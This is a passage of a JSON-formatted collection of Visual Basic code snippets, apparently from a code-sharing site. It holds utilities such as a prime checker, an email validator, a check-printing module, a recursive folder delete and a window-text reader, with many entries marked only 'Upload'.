Sqrt(Num)\n For J = 2 To I\n If Num Mod J = 0 Then\n L = Factors.Count \\ 2\n K = Num \\ J\n If Factors.Count > 0 Then\n Factors.Add J, , , L\n If (K <> J) Then Factors.Add K, , , L + 1\n Else\n Factors.Add J\n If (K <> J) Then Factors.Add K\n End If\n \n End If\n Next J\n If Factors.Count = 0 Then\n txtFactors.Text = Text1.Text & \" is prime.\"\n Else\n txtFactors.Text = Text1.Text & \" is not prime.\" & vbCrLf\n txtFactors.Text = txtFactors.Text & \"It is divisible by \"\n For I = 1 To Factors.Count\n txtFactors.Text = txtFactors.Text & Factors.Item(I) & \" ,\"\n Next I\n End If\nEnd Sub\n"},{"WorldId":1,"id":7740,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7744,"LineNumber":1,"line":"Private sArray() As String\nPrivate Sub cmdGetKey_Click()\nDim RandNum As Long\n Randomize\n RandNum = Int(Rnd * 1446) + 1\n Text1.Text = sArray(RandNum)\n \nEnd Sub\nPrivate Sub Form_Load()\n sArray() = Split(txtKeys.Text, vbCrLf)\nEnd Sub"},{"WorldId":1,"id":7745,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7748,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7757,"LineNumber":1,"line":"Public Function LCaseKeyPress(ByRef KeyAscii As Integer) As Integer\n ' Useful in the KeyPress event to convert entry to LCase()\n LCaseKeyPress = Asc(LCase(Chr(KeyAscii)))\nEnd Function\nPublic Function UCaseKeyPress(ByRef KeyAscii As Integer) As Integer\n ' Useful in the KeyPress event to convert entry to UCase()\n UCaseKeyPress = Asc(UCase(Chr(KeyAscii)))\nEnd Function\n"},{"WorldId":1,"id":7762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7776,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7785,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7789,"LineNumber":1,"line":"Private Sub Form_Load()\n SendMessage cboState.hwnd, CB_SETDROPPEDWIDTH, 135, 0\n'be sure to either carry the line down with a _, or put it all on one line. The complete line should start with SendMessage and end with 0\nEnd Sub"},{"WorldId":1,"id":7791,"LineNumber":1,"line":"'Code provided by Alpha Media Inc.\n'http://www.alphamedia.net\n'Makers of Pink Notes Plus!\n'http://www.pinknotesplus.com\nPrivate Sub Timer1_Timer()\n Dim String2 As String\n Dim String1 As String\n If Direction = \"Left\" Then\n String2 = Left$(Caption, 1)\n String1 = Right$(Caption, Len(Caption) - 1)\n ElseIf Direction = \"Right\" Then\n String1 = Right$(Caption, 1)\n String2 = Left$(Caption, Len(Caption) - 1)\n End If\n \n Caption = String1 & String2\nEnd Sub"},{"WorldId":1,"id":7793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7799,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7812,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7831,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7852,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7861,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7867,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7880,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7892,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7903,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7904,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7907,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7910,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7911,"LineNumber":1,"line":"'This module was made for printing data on preprinted 3 part laser checks\n'With the actual check at the top, and 2 stub sections below\n'It is designed specifically for McBee Form LTM101-1R (I believe this is the form #)\n' J13,20000410,01018020602001,000001012900 are also #'s that are on the side I'm sure any\n'\n'I made this to get the data from an array so you can use the code and learn about the Printer Object\n'without a data base. DoCheckDemo will print a random check for you just place a button on a form\n'add this module and put DoCheckDemo in the OnClick Event of the button\n'\n'It will print 80 line items on these checks , to use this on any other form should be as easy as\n'modifying the values in Init3PartLaserChecks in the event you want to use them with a current\n'form that may have the check in the middle or on the bottom.\n'\n'I have taken great care to name these variables descriptive therefore they are long, but descriptive\n'Also there are very few examples of programs showing programatic use of the printer.object\n'so there are things in here that are not necessarily the best (or easiest) way, but\n'it shows FUNCTIONAL use of the Printer.TextHeight and Printer.TextWidth\n'\n'If you use this in a program please let me know, at least say thanks and let me see what you did with it\n'Also, if you know how I could have done this in Crystal Reports E-mail me w/ info\n'\n'\n\nPublic StubItems(80, 4) As String 'Up to 50 items per check stub each item can have 5 columns\nPublic StubHeader(5, 1) As Variant '\nPublic CheckItems(8) '0=PayStr 1=ChkDate 2=ChkAmt 3-PayName 4=PayAdd1\n ' 5=PatAdd2,6=CityStZip, 7=Attn (Optional If Present goes after PayName)\nPublic StubItemCount As Integer 'The number of invoices that are paid on the check (# line items on stubs)\nPublic StubHeaderFields As Byte\nPublic MaxStubLines As Byte 'Maximum # of lines to print on each stub\nPublic PayAmtString As String 'NINE THOUSAND NINE HUNDRED etc..\nPublic PayAmtStringX As Integer 'X,Y Location to Print NINE THOUSAND NINE HUNDRED etc..\nPublic PayAmtStringY As Integer\nPublic CheckTopY As Integer 'Top of Check 0 is fine unless the check is in a position other than the top of the page\nPublic EnvWinTopY As Integer 'Cordinates of where on the page the Name address should go\nPublic EnvWinBotY As Integer 'So they show up in the envelope window\nPublic EnvWinLeftX As Integer\nPublic EnvWinRightX As Integer\nPublic EnvWinFontSize As Integer\nPublic ChkDate As String 'Check Date\nPublic ChkDateX As Integer 'X,Y Location to print Check Date\nPublic ChkDateY As Integer\nPublic ChkAmt As String '$9,999.99\nPublic ChkAmtX As Integer 'X,Y Location to print\nPublic ChkAmtY As Integer\nPublic StubSpacing As Integer 'Horizontal spacing of Stub Columns\nPublic Stub1TopY As Integer 'Top and bottom value (Y) of stub1 and 2\nPublic Stub2TopY As Integer 'The bottom values are not actually used yet\nPublic Stub1BotY As Integer 'but will be needed to make the routine dynamically size the font and\nPublic Stub2BotY As Integer 'change the spacing for varying #'s of line items\nPublic ChkStubColSpace As Integer\nPublic ChkStubSect1StartX As Integer\n\nSub Print3PartLaserChecks(StubLines As Integer)\nStubItemCount = StubLines\nIf StubItemCount < 1 Then Exit Sub\nPrintCheck\nPrintStubs StubItemCount\n'Printer.KillDoc\nPrinter.EndDoc\nEnd Sub\nSub Init3PartLaserChecks()\nMaxStubLines = 80\nCheckTopY = 0\nChkDateX = 7750 'X,Y Location to print Check Date\nChkDateY = 2250\nPayAmtStringX = 1250 'X,Y Location to Print NINE THOUSAND NINE HUNDRED etc..\nPayAmtStringY = 2250\nChkAmtX = 9600 'X,Y Location to print \"$9,999.99\"\nChkAmtY = 2250\nEnvWinTopY = 3000 'X,Y Locations of area of Laser check that will show in a standard window envelope\nEnvWinBotY = 3900\nEnvWinLeftX = 1200\nEnvWinRightX = 5500\nStub1TopY = 5100 'The Top (Y) position for Stub 1 ( use a # after perforation so it doesn't print over comp name & check num)\nStub1BotY = 9800 'The Bottom (Y) position for stub 1 (not in use at the moment going to use this for making the\n 'stubs use a range of font sizes depending on the number of items so 60 or so total items\nStub2TopY = 10300 'can be paid with one check using the smallest font but checks with 15 or 20 items will use\nStub2BotY = 13900 'a more reasonable font... Right now on one of the very common layouts using a font size 6\n 'you can get around 60 items per check. This is gonna save a client about 15 checks a month\n 'because the current system can only get 20 entries on a stub then it prints a wasted check\n 'voided with remaining info on subsequent stubs. (sometimes 3 or 4 of them)\nChkStubColSpace = 1100 'Spacing between the headings and stub entries on both stubs\nChkStubSect1StartX = 250 'Sets how far in (in addition to the regular print margin!) to start printing stub headers/entries\n'Define the Stub Header Fields This is probably how anyone will need this, however by changing the array you\n' can add something or remove say DISC AMT (Discount Amt)\nStubHeader(0, 0) = \"INV DATE\"\nStubHeader(1, 0) = \"INV NUM\"\nStubHeader(2, 0) = \"INV AMT\"\nStubHeader(3, 0) = \"DISC AMT\"\nStubHeader(4, 0) = \"AMT PAID\"\nStubHeader(0, 1) = vbLeftJustify\nStubHeader(1, 1) = vbLeftJustify\nStubHeader(2, 1) = vbRightJustify\nStubHeader(3, 1) = vbRightJustify\nStubHeader(4, 1) = vbRightJustify\nStubHeaderFields = 5 'Not really needed but easier for the beginners to understand than UBound\nEnd Sub\n\nSub PrintStubs(StubItemCount)\nDim StubLine As Byte\nDim StubCol As Byte\nDim ChkStubLineItemSpace As Byte\nPrinter.FontSize = 8\nStub1YPos = Printer.TextHeight(\"Z,\") + Stub1TopY\nStub2YPos = Printer.TextHeight(\"Z,\") + Stub2TopY\nPrinter.FontSize = 6\n'Multiplying the following line by .8 just takes away some extra spacing between the lines\n'to get more items on the check\nChkStubLineItemSpace = Printer.TextHeight(StubItems(0, 0)) * 0.8\nPrintStubHeaders StubItemCount\nFor StubLine = 0 To StubItemCount - 1\n 'Next line just checks to see if the line count needs to print in the left or right detail area of the stub\n 'If it does then it just adds 1/2 of the width of the printing area and prints the right with the same format\n 'adding the additional spacing specified by ChkStubSect1StartX (In Init routine)\n 'Saved having to duplicate these in a if then else or an extra loop\n If StubLine > (MaxStubLines / 2) - 1 Then StubLineMult = StubLine - (MaxStubLines / 2) Else StubLineMult = StubLine ' This is The Left Group of Cols on the Stub\n For StubCol = 0 To StubHeaderFields - 1\n Printer.CurrentX = FormatStubLine(StubLine, StubCol)\n Printer.CurrentY = Stub1YPos + (ChkStubLineItemSpace * StubLineMult)\n Printer.Print StubItems(StubLine, StubCol)\n Printer.CurrentX = FormatStubLine(StubLine, StubCol)\n Printer.CurrentY = Stub2YPos + (ChkStubLineItemSpace * StubLineMult)\n Printer.Print StubItems(StubLine, StubCol)\n Next StubCol\nNext StubLine\n\n \nEnd Sub\nFunction FormatStubLine(SLine As Byte, SCol As Byte) As Integer\nIf SLine > (MaxStubLines / 2) - 1 Then StubSect = Printer.ScaleWidth / 2 Else StubSect = 0\n'When you fill the array columns yu can specify vbRightJustify (1) or vbLeftJustify(0 default) in the array\nIf StubHeader(SCol, 1) = vbLeftJustify Then FormatStubLine = ChkStubSect1StartX + StubSect + (ChkStubColSpace * SCol)\nIf StubHeader(SCol, 1) = vbRightJustify Then\n hdrPrintStartX = ChkStubSect1StartX + StubSect + (ChkStubColSpace * SCol)\n hdrPrintWidth = Printer.TextWidth(StubHeader(SCol, 0))\n StubItemPrintWidth = Printer.TextWidth(StubItems(SLine, SCol))\n 'This will Align decimal figures to print right aligned with the header above them\n FormatStubLine = hdrPrintStartX + hdrPrintWidth - StubItemPrintWidth\nEnd If\nEnd Function\nSub PrintStubHeaders(StubItemCount)\nPrinter.FontBold = True\nPrinter.FontUnderline = True\nFor Shdr = 0 To StubHeaderFields - 1\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr)\n Printer.CurrentY = Stub1TopY\n Printer.Print StubHeader(Shdr, 0)\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr)\n Printer.CurrentY = Stub2TopY\n Printer.Print StubHeader(Shdr, 0)\n'Print the 2nd column header only if necessary\n If StubItemCount > (MaxStubLines / 2) - 1 Then\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr) + Printer.ScaleWidth / 2\n Printer.CurrentY = Stub1TopY\n Printer.Print StubHeader(Shdr, 0)\n Printer.CurrentX = ChkStubSect1StartX + (ChkStubColSpace * Shdr) + Printer.ScaleWidth / 2\n Printer.CurrentY = Stub2TopY\n Printer.Print StubHeader(Shdr, 0)\n End If\n 'ChkStubSect1StartX = ChkStubSect1StartX + ChkStubColSpace\nNext Shdr\nPrinter.FontBold = False\nPrinter.FontUnderline = False\n \nEnd Sub\nSub PrintCheck()\n'Dim CheckItems(8) '0=PayStr 1=ChkDate 2=ChkAmt 3-PayName 4=PayAdd1\n' ' 5=PatAdd2,6=CityStZip, 7=Attn (Optional If Present goes after PayName)\nPrinter.CurrentX = PayAmtStringX\nPrinter.CurrentY = PayAmtStringY\nPrinter.Font = \"Arial Narrow\"\nPrinter.FontSize = 10\nPrinter.FontBold = False\nPrinter.Print CheckItems(0) '\"NINE THOUSAND NINE HUNDRED NINETY NINE AND 99/100 ************************\"\nPrinter.CurrentX = ChkDateX\nPrinter.CurrentY = ChkDateY\nPrinter.Font = \"Arial\"\nPrinter.Print CheckItems(1) '\"12/31/2000\"\nPrinter.CurrentX = ChkAmtX\nPrinter.CurrentY = ChkAmtY\nPrinter.FontSize = 12\nPrinter.FontBold = True\nPrinter.Print CheckItems(2) '\"***$9,999.99\"\nPrinter.CurrentX = EnvWinLeftX\nPrinter.CurrentY = EnvWinTopY\nPrinter.FontBold = False\nPrinter.FontSize = 12\nEnvWindowLineCount = 0\nLineHeight = Printer.TextHeight(CheckItems(3))\nPrinter.Print CheckItems(3) ' \"PAYNAMEPAYNAMEPAYNAMEPAYNAME\"\nEnvWindowLineCount = EnvWindowLineCount + 1\nIf Trim(CheckItems(7)) <> \"\" Then\n Printer.FontBold = True\n Printer.FontUnderline = True\n Printer.CurrentX = EnvWinLeftX\n Printer.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\n Printer.Print CheckItems(7)\n EnvWindowLineCount = EnvWindowLineCount + 1\n Printer.FontBold = False\n Printer.FontUnderline = False\nEnd If\nPrinter.CurrentX = EnvWinLeftX\nPrinter.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\nPrinter.Print CheckItems(4) ' \"PAYADD1PAYADD1PAYADD1PAYADD1\"\nEnvWindowLineCount = EnvWindowLineCount + 1\nIf Trim(CheckItems(5)) <> \"\" Then\n Printer.CurrentX = EnvWinLeftX\n Printer.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\n Printer.Print CheckItems(5) ' \"PAYADD2PAYADD2PAYADD2PAYADD2\"\n EnvWindowLineCount = EnvWindowLineCount + 1\nEnd If\nPrinter.CurrentX = EnvWinLeftX\nPrinter.CurrentY = EnvWinTopY + (LineHeight * EnvWindowLineCount)\nPrinter.Print CheckItems(6) ' \"CITYSTATEZIPCITYSTATEZIP\"\nEnd Sub\n\n\nSub DoCheckDemo()\n'Just add a Button to a form and put DoCheckDemo in the on click event\n'This will print a sample of what a check would look like you can then\n'easily play with the values to line them up for your particular need\n'\nInit3PartLaserChecks\nRandomize\n'Init3PartLaserChecks\n '0=PayStr 1=ChkDate 2=ChkAmt 3=PayName 4=PayAdd1, 5=PatAdd2,6=CityStZip, 7=Attn (Optional If Present goes after PayName)\n CheckItems(0) = \"Nine Thousand Nine Hundred Ninety Nine and 99/100 *******************\"\n CheckItems(1) = \"12/31/2000\"\n CheckItems(2) = \"***\" + \"9,999.99\" + \"***\"\n CheckItems(3) = \"John D. Doe\"\n CheckItems(4) = \"123 Anystreet\"\n' CheckItems(5) = \"\"\n CheckItems(6) = \"Anytown, AnyState 99999-9999\"\nFor InsLine = 0 To 79\n StubItems(InsLine, 0) = \"12/31/2000\"\n StubItems(InsLine, 1) = Str(Int((999999 - 999 + 1) * Rnd + 999))\n StubItems(InsLine, 2) = Format((99999.99 - 999.99 + 1) * Rnd + 99.99, \"Currency\")\n StubItems(InsLine, 3) = Format((99.99 - 9.99 + 1) * Rnd + 0.99, \"Currency\")\n StubItems(InsLine, 4) = Format(StubItems(InsLine, 2) - StubItems(InsLine, 3), \"Currency\")\nNext InsLine\nPrint3PartLaserChecks Int(InsLine)\nEnd Sub\n"},{"WorldId":1,"id":7914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7915,"LineNumber":1,"line":"Public Function Wait(ByVal TimeToWait As Long) 'Time in seconds\n Dim EndTime As Long\n EndTime = GetTickCount + TimeToWait * 1000 '* 1000 Cause u give seconds and GetTickCount uses Milliseconds\n Do Until GetTickCount > EndTime\n DoEvents\n Loop\nEnd Function\n"},{"WorldId":1,"id":7917,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7942,"LineNumber":1,"line":"'\tAdd one form to the project.\n'\tAdd a picturebox (Autosize = True) with a bitmap (not an icon!!!), max. 13X13\n'\tAdd a commandbutton with following code:\nPrivate Sub Form_Load()\nhMenu& = GetMenu(Form1.hwnd)\nhSubMenu& = GetSubMenu(hMenu&, 0)\nhID& = GetMenuItemID(hSubMenu&, 0)\nSetMenuItemBitmaps hMenu&, hID&, MF_BITMAP, _\nPicture1.Picture, _\nPicture1.Picture\nEnd Sub \n"},{"WorldId":1,"id":7943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7946,"LineNumber":1,"line":"Private Sub Form_KeyUp (KeyASCII as Integer, KeyCode as Integer)\nLabel1.Caption = KeyCode\nEnd Sub"},{"WorldId":1,"id":7947,"LineNumber":1,"line":"Private Sub RoundTo_Click()\nText1 = Format(Text1,\"####.00\") 'To alter \n'the D.P. just add or subtract the 0's after \n'the decimal point.\nEnd Sub"},{"WorldId":1,"id":7950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7953,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7968,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7993,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7994,"LineNumber":1,"line":"Now, I understand that some people may not know how to use Cosine and Sine to find the coordinates of dots on a circle, so I will explain it to the best of my ability. Here is a quick explanation. Now, you know that coordinates are shown in (X, Y), well, Cosine (Cos) finds the X and Sine (Sin) finds the Y. So really, you could think of Sine and Cosine as (Cosine, Sine). Don't get confused yet, lol, I will explain this further. Now, Cosine can be used to find the coordinates of a certain point by using the degrees of that point. Here is a quick example:\nCosine(Point_Degree) * Radius_Length = The X coordinate of that Point. And:\nSine(Point_Degree) * Radius_Length = The Y coordinate of that Point. Here is an example of finding the (X, Y) of a point with the degree measurement of 100┬░, and the circle has a radius of 5. To find the X:\nCos(100) * 5,\nand to find the Y:\nSin(100) * 5.\nSimple enough, right? I hope this little tutorial helps you understand the use of Sine and Cosine in finding the coordinates of a point on a circle.\nI've also included my CSS code to demonstrate this tutorial."},{"WorldId":1,"id":7995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7996,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8005,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8008,"LineNumber":1,"line":"Public Function checkIfEmail(email As String) As Boolean\n Dim i As Integer\n Dim char As String\n Dim c() As String\n \n 'checks if the string has the standard email pattern:\n If Not email Like \"*@*.*\" Then\n checkIfEmail = False\n Exit Function\n End If\n \n 'splits the email-string with a \".\" delimeter and returns the subtring in the c-string array\n c = Split(email, \".\", -1, vbBinaryCompare)\n \n 'checks if the last substring has a length of either 2 or 3\n If Not Len(c(UBound(c))) = 3 And Not Len(c(UBound(c))) = 2 Then\n checkIfEmail = False\n Exit Function\n End If\n \n 'steps through the last substring to see if it contains anything else unless characters from a to z\n For i = 1 To Len(c(UBound(c))) Step 1\n char = Mid(c(UBound(c)), i, 1)\n If Not (LCase(char) <= Chr(122)) Or Not (LCase(char) >= Chr(97)) Then\n checkIfEmail = False\n Exit Function\n End If\n Next i\n \n 'steps through the whole email string to see if it contains any special characters:\n For i = 1 To Len(email) Step 1\n char = Mid(email, i, 1)\n If (LCase(char) <= Chr(122) And LCase(char) >= Chr(97)) _\n Or (char >= Chr(48) And char <= Chr(57)) _\n Or (char = \".\") _\n Or (char = \"@\") _\n Or (char = \"-\") _\n Or (char = \"_\") Then\n checkIfEmail = True\n Else\n checkIfEmail = False\n Exit Function\n End If\n Next i\n \nEnd Function\n"},{"WorldId":1,"id":8015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8017,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8018,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8033,"LineNumber":1,"line":"Option Explicit\nPublic Sub Test_CountDays()\n'Number of Days between now and 10 days ago, excluding all weekend days\nMsgBox CountDays(Now - 10, Now, True)\nEnd Sub\nPublic Function CountDays( _\n dtFirstDate As Date, _\n dtSecondDate As Date, _\n Optional fNoWeekend As Boolean = True _\n ) As Integer\n \nDim dtFirstDateTemp As Date 'Hold date to do calculations with\ndtFirstDateTemp = dtFirstDate\nDim intWeekendDays As Integer 'Holds weekend days\nIf dtFirstDate > dtSecondDate Then\n Exit Function 'Stops you from messing up this calculation, returns \"0\"\n \nElse\n If fNoWeekend = True Then\n Do\n If (Weekday(dtFirstDateTemp) Mod 6 = 1) Then\n intWeekendDays = intWeekendDays + 1\n End If\n \n dtFirstDateTemp = DateAdd(\"d\", 1, dtFirstDateTemp)\n \n Loop Until DateSerial(Year(dtFirstDateTemp), _\n Month(dtFirstDateTemp), _\n Day(dtFirstDateTemp)) _\n = DateSerial(Year(dtSecondDate), _\n Month(dtSecondDate), _\n Day(dtSecondDate))\n \n CountDays = CInt(DateDiff(\"d\", dtFirstDate, dtSecondDate - intWeekendDays))\n \n Else\n \n CountDays = CInt(DateDiff(\"d\", dtFirstDate, dtSecondDate))\n \n End If\n \nEnd If\nEnd Function"},{"WorldId":1,"id":8042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8073,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8075,"LineNumber":1,"line":"Believe it or not, some people don't know about these simple codes. Well, here they are. Also, they are all documented in the VB help file\nif returning the time constantly it is wise to use a timer to do it so you always have the current time or date\ndate commands: \n(date)'returns the current date\nday(date) ' gets the current day\nmonth(date) ' gets the current month\nyear(date) ' gets the current year\ndatediff 'gets the distance between two dates\ntime commands:\nsecond(time) 'returns the current second\nminute(time) 'returns the current minute\nhour(time) 'returns the current hour\n(time) ' returns the current time\n"},{"WorldId":1,"id":8078,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8092,"LineNumber":1,"line":"Public Sub KillFolderTree(sFolder As String)\n Dim sCurrFilename As String\n sCurrFilename = Dir(sFolder & \"\\*.*\", vbDirectory)\n Do While sCurrFilename <> \"\"\n If sCurrFilename <> \".\" And sCurrFilename <> \"..\" Then\n If (GetAttr(sFolder & \"\\\" & sCurrFilename) And vbDirectory) = vbDirectory Then\n Call KillFolderTree(sFolder & \"\\\" & sCurrFilename)\n sCurrFilename = Dir(sFolder & \"\\*.*\", vbDirectory)\n Else\n On Error Resume Next\n Kill sFolder & \"\\\" & sCurrFilename\n On Error Goto 0\n sCurrFilename = Dir\n End If\n Else\n sCurrFilename = Dir\n End If\n Loop\n On Error Resume Next\n RmDir sFolder\nEnd Sub"},{"WorldId":1,"id":8099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8119,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8121,"LineNumber":1,"line":"'(C) Copyright 1999 Matt Fredrikson\nPrivate Declare Function WindowFromPoint Lib \"user32.dll\" (ByVal xPoint As Long, ByVal yPoint As Long) As Long\nPrivate Declare Function SendMessage Lib \"user32.dll\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal Msg As Long, wParam As Any, lParam As Any) As Long\nPrivate Declare Function GetCursorPos Lib \"user32.dll\" (lpPoint As POINT_TYPE) As Long\nPrivate Type POINT_TYPE\n x As Long\n y As Long\nEnd Type\nPrivate Const WM_GETTEXT = &HD\nPrivate Const TXT_LEN = 100\nPrivate Sub Timer1_Timer()\n Dim ppoint As POINT_TYPE\n Dim ttxt As String\n ttxt = Space(100) 'Give space for window text\n errval = GetCursorPos(ppoint) 'Get Cursor Point\n thwnd = WindowFromPoint(ppoint.x, ppoint.y) 'Get window handle of window under cursor\n errval = SendMessage(thwnd, WM_GETTEXT, ByVal TXT_LEN, ByVal ttxt) 'Get text of that window\n ttxt = RTrim(ttxt) 'Remove Spaces\n Text1.Text = ttxt 'Display results\nEnd Sub"},{"WorldId":1,"id":8124,"LineNumber":1,"line":"-------------------\nVB CODE:\n(START A NEW PROJECT, REPLACE THE EXISTING CODE WITH THIS:)\n-------------------\nOption Explicit\nPrivate Declare Function CountLetters Lib \"..\\delphi\\project1.dll\" (ByVal Str As String) As Long\nPrivate Sub Form_Load()\n Call CountLetters(\"This is a teststring, passed to a function in a delphi DLL\")\nEnd Sub\n-------------------\nDELPHI CODE\n(START A NEW LIBRARY, REPLACE THE EXISTING CODE WITH THIS:)\n-------------------\nlibrary Project1;\nuses\n Windows,\n SysUtils;\nfunction CountLetters(pData : PChar) : Cardinal; export; stdcall;\nvar\n Handle : Integer;\n tMsg : String;\nbegin\n tMsg := 'The string passed by you; \"' + pData + '\" is counting ' + IntToStr(Length(pData)) + ' letters.';\n MessageBoxA(Handle, pChar(tMsg), 'Delphi DLL', MB_OK);\nend;\nexports\n CountLetters name 'CountLetters' resident;\nbegin\nend.\n"},{"WorldId":1,"id":8134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8138,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8143,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8151,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8152,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8163,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8173,"LineNumber":1,"line":"Private Sub Form_Load()\nIf App.PrevInstance = True Then MsgBox \"This app is already running\":End\nEnd Sub"},{"WorldId":1,"id":8180,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8182,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8186,"LineNumber":1,"line":"Sub PrintGrid(pGrid As MSFlexGrid, sTitulo As String, pHorizontal As Boolean)\n' pGrid = The grid to print\n' sTitulo = Page Title\n' pHorizontal = True for Landscape\n On Error GoTo ErrorImpresion\n Dim i As Integer\n Dim iMaxRow As Integer\n Dim j As Integer\n Dim msfGrid As MSFlexGrid\n Dim iPaginas As Integer\n \n Printer.ColorMode = vbPRCMMonochrome\n Printer.PrintQuality = 160\n \n ' fMainForm.MSFlexGrid1 is an invisible msflexgrid \n ' used only for this routine\n ' put it where your want and reference it apropiately\n Set msfGrid = fMainForm.MSFlexGrid1\n msfGrid.FixedCols = 0\n msfGrid.Clear\n \n If pHorizontal = True Then\n Printer.Orientation = vbPRORLandscape\n iMaxRow = 44\n Else\n Printer.Orientation = vbPRORPortrait\n 